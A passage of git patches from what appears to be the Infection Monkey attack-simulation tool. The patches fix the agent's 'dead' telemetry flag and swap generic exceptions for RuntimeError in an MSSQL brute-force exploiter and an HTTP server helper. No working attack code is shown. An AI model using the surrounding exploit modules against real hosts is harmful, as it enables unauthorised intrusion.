logging.getLogger(__name__) From 650ef121492426aa55d1f36a60562aaccda8e04d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 11 Sep 2019 13:03:12 +0300 Subject: [PATCH 23/24] Bugfix for monkey not reporting being dead --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 692e278fb..78bdca453 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -225,7 +225,7 @@ class InfectionMonkey(object): InfectionMonkey.close_tunnel() firewall.close() else: - StateTelem(False).send() # Signal the server (before closing the tunnel) + StateTelem(True).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: From 994b6ed63dc3a686747bffa547f94dc336ceaf40 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 11 Sep 2019 17:23:28 +0300 Subject: [PATCH 24/24] Improved exception throwing --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/tools/http_tools.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c08aec28d..db503c717 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -185,7 +185,7 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) class MSSQLLimitedSizePayload(LimitedSizePayload): diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 0de47b155..19b45b043 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -85,6 +85,6 @@ class MonkeyHTTPServer(HTTPTools): def stop(self): if not self.http_path or not self.http_thread: - raise Exception("Can't stop http server that wasn't started!") + raise RuntimeError("Can't stop http server that wasn't started!") self.http_thread.join(DOWNLOAD_TIMEOUT) self.http_thread.stop()